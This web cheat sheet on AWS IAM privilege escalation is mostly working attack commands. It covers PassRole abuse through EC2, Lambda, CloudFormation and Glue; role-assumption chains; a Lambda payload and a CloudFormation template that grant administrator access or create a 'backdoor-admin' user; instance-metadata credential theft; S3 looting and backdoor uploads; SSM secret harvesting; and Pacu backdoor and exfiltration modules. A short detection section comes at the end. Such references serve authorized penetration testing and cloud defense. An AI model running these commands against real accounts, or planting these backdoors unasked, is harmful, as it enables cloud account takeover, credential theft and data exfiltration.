← All cheat sheets

AWS-IAM-PRIVESC

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

A practical reference for enumerating, exploiting, and auditing
AWS IAM misconfigurations and privilege escalation paths.

IAM ENUMERATION#

# Get current identity
aws sts get-caller-identity

# List all users
aws iam list-users

# List all roles
aws iam list-roles

# List all policies
aws iam list-policies --scope Local

# Get user's attached policies
aws iam list-attached-user-policies --user-name <username>
aws iam list-user-policies --user-name <username>

# Get inline policy details
aws iam get-user-policy --user-name <username> --policy-name <policy>

# Get managed policy version (current permissions)
aws iam get-policy-version --policy-arn <arn> --version-id <v1>

# List group memberships
aws iam list-groups-for-user --user-name <username>

# List role policies
aws iam list-attached-role-policies --role-name <role>
aws iam list-role-policies --role-name <role>

# Enumerate all permissions for current user (using enumerate-iam)
python3 enumerate-iam.py --access-key <AKIA...> --secret-key <secret>

# Check for access keys
aws iam list-access-keys --user-name <username>

# Bruteforce account ID from access key
python3 iam-key-enumerator.py <AKIA...>

IAM:PASSROLE ESCALATION#

# iam:PassRole allows assigning a role to a resource you control
# Combined with resource creation permissions, this leads to privesc

# Scenario 1: PassRole + EC2 RunInstances
# Create EC2 instance with high-priv role, then use instance metadata
aws ec2 run-instances \
  --image-id ami-0abcdef1234567890 \
  --instance-type t2.micro \
  --iam-instance-profile Name=AdminRole \
  --key-name mykey

# Connect to instance and curl metadata
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

# Scenario 2: PassRole + Lambda CreateFunction
aws lambda create-function \
  --function-name escalate \
  --runtime python3.9 \
  --role arn:aws:iam::<account>:role/AdminRole \
  --handler index.handler \
  --zip-file fileb://payload.zip

aws lambda invoke --function-name escalate output.txt

# Scenario 3: PassRole + CloudFormation
aws cloudformation create-stack \
  --stack-name escalate \
  --template-body file://template.yaml \
  --role-arn arn:aws:iam::<account>:role/AdminRole \
  --capabilities CAPABILITY_NAMED_IAM

# Scenario 4: PassRole + Glue
aws glue create-dev-endpoint \
  --endpoint-name escalate \
  --role-arn arn:aws:iam::<account>:role/AdminRole \
  --public-key "ssh-rsa AAAA..."

STS:ASSUMEROLE CHAINS#

# Assume a role directly
aws sts assume-role \
  --role-arn arn:aws:iam::<account>:role/TargetRole \
  --role-session-name escalation

# Export credentials from assume-role response
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<SessionToken>

# Chain roles: assume Role A, then use it to assume Role B
# Role A trusts your user, Role B trusts Role A
aws sts assume-role --role-arn arn:aws:iam::<account>:role/RoleA --role-session-name step1
# (export creds)
aws sts assume-role --role-arn arn:aws:iam::<account>:role/RoleB --role-session-name step2

# Cross-account role assumption
aws sts assume-role \
  --role-arn arn:aws:iam::<other-account>:role/CrossAccountRole \
  --role-session-name xaccount

# Find assumable roles by checking trust policies
aws iam get-role --role-name <role> --query 'Role.AssumeRolePolicyDocument'

# Enumerate all roles and their trust policies
for role in $(aws iam list-roles --query 'Roles[].RoleName' --output text); do
  echo "=== $role ==="
  aws iam get-role --role-name "$role" --query 'Role.AssumeRolePolicyDocument'
done

LAMBDA ESCALATION#

# If you can create/update Lambda functions with a high-priv role:

# Create payload (index.py)
# import boto3
# def handler(event, context):
#     client = boto3.client('iam')
#     client.attach_user_policy(
#         UserName='compromised-user',
#         PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
#     )
#     return 'escalated'

# Zip and deploy
zip payload.zip index.py
aws lambda create-function \
  --function-name privesc \
  --runtime python3.9 \
  --role arn:aws:iam::<account>:role/LambdaAdminRole \
  --handler index.handler \
  --zip-file fileb://payload.zip

# Invoke
aws lambda invoke --function-name privesc output.txt

# Update existing function code (if lambda:UpdateFunctionCode)
aws lambda update-function-code \
  --function-name existing-func \
  --zip-file fileb://payload.zip

# Add Lambda layer with malicious code
aws lambda publish-layer-version \
  --layer-name backdoor \
  --zip-file fileb://layer.zip \
  --compatible-runtimes python3.9

EC2 INSTANCE PROFILE ABUSE#

# Query instance metadata (IMDSv1)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Get credentials from instance profile
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# IMDSv2 (token required)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# Get user data (may contain secrets)
curl http://169.254.169.254/latest/user-data

# SSRF to metadata endpoint from web application
# If app is vulnerable to SSRF, target: http://169.254.169.254/latest/meta-data/

# Modify instance profile on running instance (if ec2:AssociateIamInstanceProfile)
aws ec2 associate-iam-instance-profile \
  --iam-instance-profile Name=AdminProfile \
  --instance-id i-1234567890abcdef0

# Create new instance profile and add role
aws iam create-instance-profile --instance-profile-name escalation
aws iam add-role-to-instance-profile --instance-profile-name escalation --role-name AdminRole

S3 BUCKET POLICY EXPLOITATION#

# List all buckets
aws s3 ls

# Check bucket policy
aws s3api get-bucket-policy --bucket <bucket-name>

# Check bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>

# Check for public access
aws s3api get-public-access-block --bucket <bucket-name>

# Read objects from misconfigured bucket
aws s3 cp s3://<bucket>/sensitive-file.txt .
aws s3 sync s3://<bucket>/ ./loot/

# Write to writable bucket (overwrite CloudFormation templates, Lambda code)
aws s3 cp backdoor.zip s3://<bucket>/lambda-code.zip

# Exploit bucket used as CloudFormation template source
# Upload modified template that creates admin user
aws s3 cp malicious-template.yaml s3://<bucket>/template.yaml

# Find buckets via DNS bruteforce
python3 cloud_enum.py -k company
# Or use bucket-finder, S3Scanner

CLOUDFORMATION STACK ABUSE#

# If you have cloudformation:CreateStack + iam:PassRole

# Template to create admin user (template.yaml):
# AWSTemplateFormatVersion: '2010-09-09'
# Resources:
#   AdminUser:
#     Type: AWS::IAM::User
#     Properties:
#       UserName: backdoor-admin
#       ManagedPolicyArns:
#         - arn:aws:iam::aws:policy/AdministratorAccess
#   AccessKey:
#     Type: AWS::IAM::AccessKey
#     Properties:
#       UserName: !Ref AdminUser
# Outputs:
#   AccessKeyId:
#     Value: !Ref AccessKey
#   SecretAccessKey:
#     Value: !GetAtt AccessKey.SecretAccessKey

aws cloudformation create-stack \
  --stack-name privesc \
  --template-body file://template.yaml \
  --role-arn arn:aws:iam::<account>:role/CloudFormationAdminRole \
  --capabilities CAPABILITY_NAMED_IAM

# Get outputs (access keys)
aws cloudformation describe-stacks --stack-name privesc --query 'Stacks[0].Outputs'

# Update existing stack with malicious template
aws cloudformation update-stack \
  --stack-name existing-stack \
  --template-body file://malicious-template.yaml \
  --capabilities CAPABILITY_NAMED_IAM

SSM (SYSTEMS MANAGER) ABUSE#

# Send commands to EC2 instances via SSM
aws ssm send-command \
  --instance-ids i-1234567890abcdef0 \
  --document-name "AWS-RunShellScript" \
  --parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ && id"]'

# Get command output
aws ssm get-command-invocation \
  --command-id <command-id> \
  --instance-id i-1234567890abcdef0

# Start SSM session (interactive shell)
aws ssm start-session --target i-1234567890abcdef0

# List SSM managed instances
aws ssm describe-instance-information

# Read SSM parameters (may contain secrets)
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption
aws ssm get-parameter --name /prod/database/password --with-decryption

# Put parameter (persistence)
aws ssm put-parameter --name "/backdoor/key" --value "secret" --type SecureString

PACU - AWS EXPLOITATION FRAMEWORK#

# Install Pacu
pip3 install pacu

# Start Pacu
pacu

# Set keys
set_keys

# Run enumeration modules
run iam__enum_users_roles_policies_groups
run iam__enum_permissions
run iam__privesc_scan

# Privilege escalation
run iam__privesc_scan     # Finds escalation paths
run iam__backdoor_users   # Creates backdoor access keys

# S3 enumeration
run s3__bucket_finder
run s3__download_bucket

# EC2 enumeration
run ec2__enum

# Lambda enumeration and exploitation
run lambda__enum

# Persistence modules
run iam__backdoor_assume_role
run lambda__backdoor_new_users

# Data exfiltration
run s3__download_bucket --dl-names

OTHER ESCALATION VECTORS#

# 1. iam:CreatePolicyVersion - Create new policy version with admin perms
aws iam create-policy-version \
  --policy-arn <policy-arn> \
  --policy-document file://admin-policy.json \
  --set-as-default

# 2. iam:SetDefaultPolicyVersion - Switch to a more permissive version
aws iam set-default-policy-version --policy-arn <arn> --version-id v1

# 3. iam:AttachUserPolicy / iam:AttachRolePolicy
aws iam attach-user-policy --user-name <user> --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# 4. iam:PutUserPolicy - Add inline admin policy
aws iam put-user-policy --user-name <user> --policy-name admin --policy-document file://admin.json

# 5. iam:AddUserToGroup - Add self to admin group
aws iam add-user-to-group --user-name <user> --group-name Admins

# 6. iam:CreateLoginProfile / iam:UpdateLoginProfile
aws iam create-login-profile --user-name <user> --password 'NewP@ssw0rd!' --no-password-reset-required

# 7. sts:GetFederationToken
aws sts get-federation-token --name admin --policy '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'

# 8. Secrets Manager / Parameter Store for credential harvesting
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id <secret-name>

# 9. CodeBuild project with elevated role
aws codebuild create-project --name escalate --source type=NO_SOURCE --environment type=LINUX_CONTAINER,image=aws/codebuild/standard:5.0,computeType=BUILD_GENERAL1_SMALL --service-role arn:aws:iam::<account>:role/CodeBuildAdmin

DETECTION & DEFENSE#

# Enable CloudTrail in all regions
aws cloudtrail create-trail --name security-trail --s3-bucket-name <bucket> --is-multi-region-trail

# Enable GuardDuty
aws guardduty create-detector --enable

# Monitor for high-risk API calls:
#   CreateUser, CreateAccessKey, AttachUserPolicy, PutUserPolicy
#   AssumeRole, CreateRole, UpdateAssumeRolePolicy
#   CreateFunction, UpdateFunctionCode
#   RunInstances with iam-instance-profile

# Use IAM Access Analyzer
aws accessanalyzer create-analyzer --analyzer-name security --type ACCOUNT

# Generate credential report
aws iam generate-credential-report
aws iam get-credential-report --output text --query Content | base64 -d

# Check for unused credentials
aws iam get-credential-report | jq '.[] | select(.password_last_used == "N/A")'

# SCPs (Service Control Policies) to prevent escalation
# Deny iam:CreateUser, iam:AttachUserPolicy from non-admin roles
# Deny sts:AssumeRole to sensitive roles except from approved principals